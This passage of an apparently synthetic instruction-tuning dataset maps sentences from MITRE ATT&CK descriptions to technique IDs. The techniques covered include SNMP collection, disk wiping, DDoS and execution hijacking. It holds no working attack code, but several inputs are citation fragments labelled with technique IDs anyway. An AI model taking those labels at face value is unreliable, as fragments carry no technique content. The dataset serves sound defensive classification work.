contained in the text.", "input": "This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`.", "output": "T1129", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. ### Response: T1129."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)", "output": "T1129", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017) ### Response: T1129."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths.", "output": "T1129", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. ### Response: T1129."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This functionality resides in `NTDLL.dll` and is part of the Windows", "output": "T1129", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This functionality resides in `NTDLL.dll` and is part of the Windows ### Response: T1129."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)", "output": "T1129", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL) ### Response: T1129."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may access network configuration files to collect sensitive data about the device and the network.", "output": "T1602.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may access network configuration files to collect sensitive data about the device and the network. ### Response: T1602.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The network configuration is a file containing parameters that determine the operation of the device.", "output": "T1602.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The network configuration is a file containing parameters that determine the operation of the device. ### Response: T1602.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset.", "output": "T1602.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. ### Response: T1602.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.", "output": "T1602.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use. ### Response: T1602.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1602.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) ### Response: T1602.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis.", "output": "T1602.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ### Response: T1602.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP). ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID).", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables.", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation:", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SANS Information Security Reading Room", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SANS Information Security Reading Room ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Securing SNMP Securing SNMP).", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Securing SNMP Securing SNMP). ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The MIB may also contain device operational information, including running configuration, routing table, and interface details.", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The MIB may also contain device operational information, including running configuration, routing table, and interface details. ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1602.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ### Response: T1602.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may collect data related to managed devices from configuration repositories.", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may collect data related to managed devices from configuration repositories. ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems.", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Configuration repositories may also facilitate remote access and administration of devices.", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Configuration repositories may also facilitate remote access and administration of devices. ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target these repositories in order to collect large quantities of sensitive system administration data.", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017) ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources.", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With direct write access to a disk, adversaries may attempt to overwrite portions of disk data.", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR).", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A complete wipe of all disk sectors may be attempted.", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A complete wipe of all disk sectors may be attempted. ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078),", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco) ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation:", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky StoneDrill 2017)(Citation:", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky StoneDrill 2017)(Citation: ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit 42 Shamoon3 2018)", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit 42 Shamoon3 2018) ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk.", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable.", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped. ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation:", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky StoneDrill 2017)", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky StoneDrill 2017) ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network DoS can be performed by exhausting the network bandwidth services rely on.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network DoS can be performed by exhausting the network bandwidth services rely on. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example resources include specific websites, email services, DNS, and web-based applications.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example resources include specific websites, email services, DNS, and web-based applications. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This DoS attack may also reduce the availability and functionality of the targeted system(s) and network.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Almost any network protocol may be used for flooding.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Almost any network protocol may be used for flooding. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Botnets are commonly used to conduct network flooding attacks against networks and services.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Botnets are commonly used to conduct network flooding attacks against networks and services. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Large botnets can generate a significant amount of traffic from systems spread across the global Internet.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Large botnets can generate a significant amount of traffic from systems spread across the global Internet. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult.", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", "output": "T1498.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) ### Response: T1498.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018)", "output": "T1492", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) ### Response: T1492."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.", "output": "T1492", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. ### Response: T1492."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats.", "output": "T1492", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. ### Response: T1492."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary.", "output": "T1492", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. ### Response: T1492."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "output": "T1492", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. ### Response: T1492."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking execution flow can be for the purposes of persistence, since this hijacked 